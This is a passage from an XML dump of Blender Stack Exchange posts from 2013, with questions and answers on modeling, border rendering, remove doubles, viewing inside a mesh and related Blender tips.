KeyMapItem(&quot;&quot;)&amp;gt;&#xA;         active = True&#xA;         alt = False&#xA;         any = False&#xA;         ctrl = False&#xA;         id = 5&#xA;         idname =&#xA;         is_user_defined = False&#xA;         is_user_modified = False&#xA;         key_modifier = NONE&#xA;         map_type = KEYBOARD&#xA;         name =&#xA;         oskey = False&#xA;         propvalue = TRANSLATE&#xA;         shift = False&#xA;         show_expanded = False&#xA;         type = G&#xA;         value = PRESS&#xA;&quot;&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But note that you can't provide an operator name in modal maps. Only the predefined modal operations can be set (&lt;code&gt;propvalue&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2013-11-15T10:12:15.667" LastActivityDate="2013-11-15T10:12:15.667" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4841" PostTypeId="1" AcceptedAnswerId="4842" CreationDate="2013-11-13T02:08:53.337" Score="4" ViewCount="246" Body="&lt;p&gt;I am trying to make a minecraft mouth. If I went simple I would have no questions, or if there was a tutorial or a tutorial for blender at least. But me being me I have to make one of if not the best rig out there. I am new to blender so to all of you who answer my questions I appreciate it for taking your time to answer all these simple questions for one rig.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the mouth before the move (The program the guy did this in is Maya, but most things are the same):&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Uaoyg.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then here is the mouth after the move:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ftMPr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1560" LastEditorUserId="599" LastEditDate="2013-11-17T07:10:41.493" LastActivityDate="2013-11-17T07:10:41.493" Title="Moving a surface from one side of an object to the other" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4842" PostTypeId="2" ParentId="4841" CreationDate="2013-11-13T04:18:12.653" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;Select the faces for mouth, press &lt;kbd&gt;Y&lt;/kbd&gt; to split;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eFZwA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;S&lt;/kbd&gt; &gt; &lt;kbd&gt;X&lt;/kbd&gt; &gt; &lt;kbd&gt;-1&lt;/kbd&gt; to give it a mirrored scale along its X axis. Done. (or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; &gt; &lt;kbd&gt;X&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KP8tq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: I'm not so sure about the word &quot;rig&quot; you mentioned here, suppose you are trying to animate it, then I suggest using Blender's ShapeKey feature in this case. &lt;a href=&quot;http://www.pasteall.org/blend/25212&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo file&lt;/a&gt; included.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-13T04:24:30.437" LastActivityDate="2013-11-13T04:24:30.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4843" PostTypeId="2" ParentId="4835" CreationDate="2013-11-13T05:43:43.783" Score="2" Body="&lt;p&gt;Actually, the normal crop and offset only work with the same strip that shown in the same panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TPd9C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, you can add an &lt;strong&gt;Transform&lt;/strong&gt; effect strip, it will work despite of resolution difference between proxy and original strip. Just be sure to have Transform strip selected. (Select the original strip, then &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; &gt; Effect Strip... &gt; Transform)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/OpTPK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2013-11-13T08:09:58.683" LastActivityDate="2013-11-13T08:09:58.683" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="4844" PostTypeId="1" AcceptedAnswerId="4848" CreationDate="2013-11-13T06:27:46.270" Score="4" ViewCount="277" Body="&lt;p&gt;Are there anywhere available the newest Blender debugging symbol files for ms-windows (*.pdb)? Blender recently crashed a few times and I wanted to provide developers more information than only info about the crash.&lt;/p&gt;&#xA;" OwnerUserId="1367" LastEditorUserId="55" LastEditDate="2013-11-14T14:54:28.910" LastActivityDate="2013-11-14T14:54:28.910" Title="Blender debugging symbol files" Tags="&lt;blender-internal-render-engine&gt;&lt;windows&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4845" PostTypeId="2" ParentId="3166" CreationDate="2013-11-13T07:15:31.080" Score="2" Body="&lt;p&gt;One solution is to uses &lt;a href=&quot;https://stackoverflow.com/questions/902761/saving-a-numpy-array-as-an-image/19174800#19174800&quot;&gt;plain Python to write out the PNG file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another solution is to extend &lt;code&gt;render.makescreenshot(filename)&lt;/code&gt; to accept additional optional argument in the form of &lt;code&gt;render.makescreenshot(filename, x, y, width, height)&lt;/code&gt;&#xA;The work-in-progress patch is here:&#xA;&lt;a href=&quot;http://www.pasteall.org/47215/diff&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/47215/diff&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: The patch currently does not work correctly in Blender, it only works in BlenderPlayer.&lt;/p&gt;&#xA;" OwnerUserId="41" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2013-11-13T07:15:31.080" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4846" PostTypeId="2" ParentId="4841" CreationDate="2013-11-13T07:40:46.740" Score="2" Body="&lt;p&gt;Based on the title, I assume you want to do this with modeling tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/4842/599&quot;&gt;Leon Cheung's solution&lt;/a&gt; is good, except in your original screenshot there are no faces here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n46al.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So selecting those faces and the inset faces and then mirroring will not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you could use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Snapping features&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There are two types of snap operations that you can use in Blender. The first type snaps your selection or cursor to a given point while the second type is used during transformations (translate, rotate, scale) and snaps your selection to elements within the scene. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Transform Snapping:&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;With the inset selected, press &lt;kbd&gt;Y&lt;/kbd&gt; to separate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bbXmk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Snapping&lt;/em&gt;&lt;/a&gt; (&lt;img src=&quot;https://i.stack.imgur.com/w4mtP.png&quot; alt=&quot;icon&quot;&gt;) and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Vertices#AutoMerge_Editing&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Auto-merge editing&lt;/em&gt;&lt;/a&gt; (&lt;img src=&quot;https://i.stack.imgur.com/4k4VW.png&quot; alt=&quot;icon&quot;&gt;) in the &lt;em&gt;Header&lt;/em&gt;, and set the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh#Snap_Element&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Snap Element&lt;/em&gt;&lt;/a&gt; to &lt;em&gt;Vertex&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PDsSs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;G&lt;/kbd&gt; to grab and move the cursor over one of the target vertices:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JrMyB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The separated selection will be automatically merged with the overlapping vertices by &lt;em&gt;Auto-Merge&lt;/em&gt;, eliminating the need to use &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Specials &gt; Remove doubles&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/3D_Cursor#Positioning_the_3D_cursor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snapping with the 3D cursor:&lt;/a&gt;&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Another way to do this is with the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/3D_Cursor&quot; rel=&quot;nofollow noreferrer&quot;&gt;3D cursor&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the edgeloop around the extruded region and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Cursor to selected&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mIDIj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the separated region and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;em&gt;&gt; Selection to cursor (Offset)&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dE4dz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;(If you have &lt;em&gt;Auto-Merge Editing&lt;/em&gt; enabled this step in unnecessary) Select at least the overlapping duplicate vertices (I most cases it's fine to select all) and press &lt;kbd&gt;W&lt;/kbd&gt;&lt;em&gt;&gt; Remove Doubles&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/udFGo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KlA7K.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2013-11-13T07:57:22.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4847" PostTypeId="1" CreationDate="2013-11-13T14:12:16.827" Score="3" ViewCount="761" Body="&lt;p&gt;Working with 2.68a (r58537).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to export a UV bake, I'm always presented with the format set as &lt;code&gt;PNG&lt;/code&gt;, it would be amazing to set the default as &lt;code&gt;JPG&lt;/code&gt;/100% quality. Also when I export to dae (Collada) it always exports them as PNG.&lt;br&gt;&#xA;Is there a way to change that default setting? &lt;/p&gt;&#xA;" OwnerUserId="1601" LastEditorUserId="2217" LastEditDate="2014-07-29T00:17:31.623" LastActivityDate="2014-07-29T00:17:31.623" Title="Changing default bake output format and quality" Tags="&lt;export&gt;&lt;image&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4848" PostTypeId="2" ParentId="4844" CreationDate="2013-11-13T14:35:27.983" Score="1" Body="&lt;p&gt;Anyone can do a debug build and make these files available, but typically we don't do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However - you assume the person fixing the bug has ms-windows, MSVC - etc, however many devs use Linux and OSX.&#xA;Even ignoring this, the crash data alone often isn't enough, developers need to be able to reproduce the bug so they can change the code and prove that the bug is fixed (without the trouble of sending you an updated build and having you test - which would get very tedious/slow).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally its possible to provide a blend file and some steps to redo the bug which is better for devs so they can redo on their own platform.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-13T14:35:27.983" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4849" PostTypeId="2" ParentId="4817" CreationDate="2013-11-13T14:40:07.927" Score="7" Body="&lt;p&gt;I have created a simple addon for this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?317507-Addon-Simple-addon-to-display-material-relationships&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://blenderartists.org/forum/showthread.php?317507-Addon-Simple-addon-to-display-material-relationships&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Az1c1.jpg&quot; alt=&quot;enter image description here&quot;&gt;Example screen&lt;/p&gt;&#xA;" OwnerUserId="1602" LastEditorUserId="1602" LastEditDate="2013-11-16T20:10:36.763" LastActivityDate="2013-11-16T20:10:36.763" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4850" PostTypeId="1" CreationDate="2013-11-13T14:50:44.997" Score="1" ViewCount="339" Body="&lt;p&gt;When I use &lt;em&gt;Quick Edit&lt;/em&gt; to transfer a screen capture to PhotoShop, then edit the image, save it, and &lt;em&gt;Apply&lt;/em&gt; it back in Blender, the image that is projected on is noticeably darker.  This causes lines to form all over the model where the borders of the projector are.  Here is an image.  Does anyone know how to work around this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YxLBv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:  The image to the left is using &lt;em&gt;Perspective View&lt;/em&gt; and the image to the right is using &lt;em&gt;Orthographic View&lt;/em&gt;, There is a visible color bleed from the edges of other models that overlap for the projection. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't add a .blend file since I restored Blender to the default settings before doing this.  Both images were made using 2048x2048 textures for both the &lt;em&gt;Bake&lt;/em&gt; and for the &lt;em&gt;External Edit&lt;/em&gt; settings.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Glne3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2014-10-24T01:37:30.720" LastActivityDate="2014-10-24T01:37:30.720" Title="Is color mismatch normal when using Texture Paint Quick Edit?" Tags="&lt;materials&gt;&lt;texture-painting&gt;" AnswerCount="0" CommentCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="4851" PostTypeId="2" ParentId="4827" CreationDate="2013-11-13T14:58:20.203" Score="2" Body="&lt;p&gt;Yes, but only via LibLoad (which likely isn't what your after).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use LibLoad/LibNew to dynamically load data, then instance that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can load data from another blend file or, you can load an existing mesh (but NOT an object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See these functions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bge.logic.html#bge.logic.LibNew&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_release/bge.logic.html#bge.logic.LibNew&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bge.logic.html#bge.logic.LibLoad&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/blender_python_api_2_69_release/bge.logic.html#bge.logic.LibLoad&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-11-13T14:58:20.203" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4852" PostTypeId="1" CreationDate="2013-11-13T16:12:05.430" Score="9" ViewCount="27140" Body="&lt;p&gt;Is it currently possible to specify which portion of an image you'd like to render in Cycles? Let's say I'm going to render an image with dimensions 1280x720. Can I render just the rectangle bounded by (640,0) and (1280, 360)? (The top-left and bottom-right corners of the rectangle, respectively)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be especially useful for Blender's Network Render addon if you only needed to render a single frame but had multiple computers at your disposal for rendering. I realize that a pseudo-solution exists in &lt;a href=&quot;https://blender.stackexchange.com/questions/736/is-there-a-way-to-render-single-frame-using-network-rendering-in-cycles/738#738&quot;&gt;this question&lt;/a&gt; but the image stacking technique does not produce the same level of quality for the same number of samples. Others have also proposed a solution by using multiple cameras then stitching the results together, but this solution is also not ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's currently no way to do this, could someone point me in the right direction for making this suggestion to the Blender developers?&lt;/p&gt;&#xA;" OwnerUserId="1170" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2013-11-13T21:29:13.547" Title="Can I specify a portion of the image to render in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;network&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="5" ClosedDate="2013-11-14T16:18:08.320" ContentLicense="CC BY-SA 3.0" />
  <row Id="4853" PostTypeId="2" ParentId="4847" CreationDate="2013-11-13T16:32:16.650" Score="1" Body="&lt;p&gt;When saving baking image as an external one, go to UV/Image Editor menu &gt; Save As Image (&lt;kbd&gt;F3&lt;/kbd&gt;), pay attention to the left hand tab, there is the place to choose the format you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sFdhY.png&quot; alt=&quot;uv save&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the Collada export issue, I think it's because you didn't choose to use other format for saving images before that, or didn't even save to an external file. :)&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-13T16:32:16.650" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4854" PostTypeId="2" ParentId="4852" CreationDate="2013-11-13T16:43:33.910" Score="18" Body="&lt;p&gt;You can use &lt;code&gt;border render&lt;/code&gt;, like explained &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Output&quot; rel=&quot;noreferrer&quot;&gt;in the wiki&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You can render just a portion of the view instead of rendering the entire frame. While in Camera View, enable &lt;code&gt;Border&lt;/code&gt; and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt;, then drag a rectangle to define the area you want to render. &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;B&lt;/kbd&gt; is the shortcut to disable the border. &#xA;      Note that this disables the &lt;code&gt;Save Buffers&lt;/code&gt; option in Performance and &lt;code&gt;Full Sample&lt;/code&gt; option in Anti-Aliasing. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Enabling &lt;code&gt;Crop&lt;/code&gt; will crop the rendered image to the Border size, instead of rendering a black region around it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RkzIJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/a/2023/527&quot;&gt;This answer&lt;/a&gt; goes further in explaining this feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If needed, you can set the border position with python, for instance :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.scenes[&quot;Scene&quot;].render.use_border = True      # Tell Blender to use border render&#xA;bpy.data.scenes[&quot;Scene&quot;].render.border_max_y = 0.75    # Set the border top at 3/4 of the image's height&#xA;bpy.data.scenes[&quot;Scene&quot;].render.border_min_y = 0.33    # Set the border bottom at 1/3 of the image's height&#xA;bpy.data.scenes[&quot;Scene&quot;].render.border_min_x = 0.25    # Set the border left at 1/4 of the image's width&#xA;bpy.data.scenes[&quot;Scene&quot;].render.border_max_x = 1.0     # Set the border right at the image's right border&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then, just hit render !&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2013-11-13T21:29:13.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4855" PostTypeId="2" ParentId="4852" CreationDate="2013-11-13T17:14:26.343" Score="6" Body="&lt;p&gt;Polosson's answer is quite right. I just want to make it more easier to understand particularly for your case, supposing you would have trouble to understand that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qyBOF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-11-13T17:14:26.343" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4856" PostTypeId="1" AcceptedAnswerId="4916" CreationDate="2013-11-13T18:33:05.923" Score="5" ViewCount="840" Body="&lt;p&gt;I have a model that was imported from an erronous file where each triangle was disconnected from the others.&#xA;After &quot;reconnecting&quot; it via removing duplicate vertices and exporting (to .ply with vertex paint) I still have some disconnected pieces along the seam of a vertex paint stroke.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I connect these faces to the rest of the mesh?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make it clear:&#xA;Blender has it fully connected but the exported file does not because vertices are split.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The actual problem boils down to: How do I merge the vertex color of a vertex that has differing colors in its incident faces?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To avoid confusion: The mesh is fully connected inside Blender (if I select one vertex and then &quot;select connected&quot;, all vertices/edges/faces are selected) after the &quot;remove duplicates&quot;. However in the exported file the mesh is disconnected at the vertex paint stroke boundary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bXEpl.png&quot; alt=&quot;Clearly visible seam of the vertex paint stroke splits the mesh&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1603" LastEditorUserId="1603" LastEditDate="2013-11-16T11:37:07.790" LastActivityDate="2017-11-10T12:48:02.967" Title="Disconnected (exported) mesh because of vertex paint?" Tags="&lt;export&gt;&lt;vertex-colors&gt;" AnswerCount="4" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4857" PostTypeId="2" ParentId="4856" CreationDate="2013-11-13T19:26:47.303" Score="2" Body="&lt;p&gt;There is a threshold value you can change when working with remove doubles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is two ways to change it. Both are (as blender standard) after you use the tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first select all vertices (if you only want to join some, feel free to select a subset).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u4qzf.png&quot; alt=&quot;Separated cube with selected mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now do &lt;em&gt;Remove doubles&lt;/em&gt;. Probably nothing will happend because the threshold is way low by default. But in the toolbar (toggle it with &lt;kbd&gt;T&lt;/kbd&gt;), at the bottom are the options for the last used tool. In this case it will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/tbHWb.png&quot; alt=&quot;Remove doubles 1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply change the Merge distance to snap together the desired vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dEUxZ.png&quot; alt=&quot;Remove doubles 2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second way to change this options is to press &lt;kbd&gt;F6&lt;/kbd&gt; directly after the tool. This brings up a dialog to do the same. It's a matter of personal taste what method you want to use. They are exactly the same in all other aspects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Vb0CV.png&quot; alt=&quot;F6 dialog&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="1363" LastEditDate="2013-11-13T20:43:44.487" LastActivityDate="2013-11-13T20:43:44.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4858" PostTypeId="1" AcceptedAnswerId="4859" CreationDate="2013-11-13T19:40:38.463" Score="8" ViewCount="9130" Body="&lt;p&gt;Is there any way that you can look at the inside of a cube and edit it from the inside? If so is there a way to see textured faces on the inside of a cube so they aren't transparent?&lt;/p&gt;&#xA;" OwnerUserId="1560" LastActivityDate="2020-02-24T22:48:54.220" Title="Is there a way to look at the inside of a cube or other object?" Tags="&lt;objects&gt;" AnswerCount="4" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4859" PostTypeId="2" ParentId="4858" CreationDate="2013-11-13T20:16:53.683" Score="5" Body="&lt;p&gt;When you move the camera inside the cube you can't see the textures because they are hidden if the faces normal (cyan lines starting in the middle of each face) points outward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit-mode you can toggle (with all faces selected ) the normals inside out with the Flip-Directions command. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the images the top face if the cube was hidden &lt;kbd&gt;H&lt;/kbd&gt; and display of normals activated in the properties panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UzTGS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZfpU9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SWQt5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-11-13T20:23:57.307" LastActivityDate="2013-11-13T20:23:57.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4860" PostTypeId="2" ParentId="4858" CreationDate="2013-11-13T20:22:28.840" Score="9" Body="&lt;p&gt;Another way is to use &lt;strong&gt;Clipping Border&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Press &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;B&lt;/kbd&gt; to set the border. It will hide anything beyond the border from the original view angle, and show the inside of a mesh object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DCrBE.png&quot; alt=&quot;1a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When finished, press &lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;B&lt;/kbd&gt; again to clear the border.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-13T20:22:28.840" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
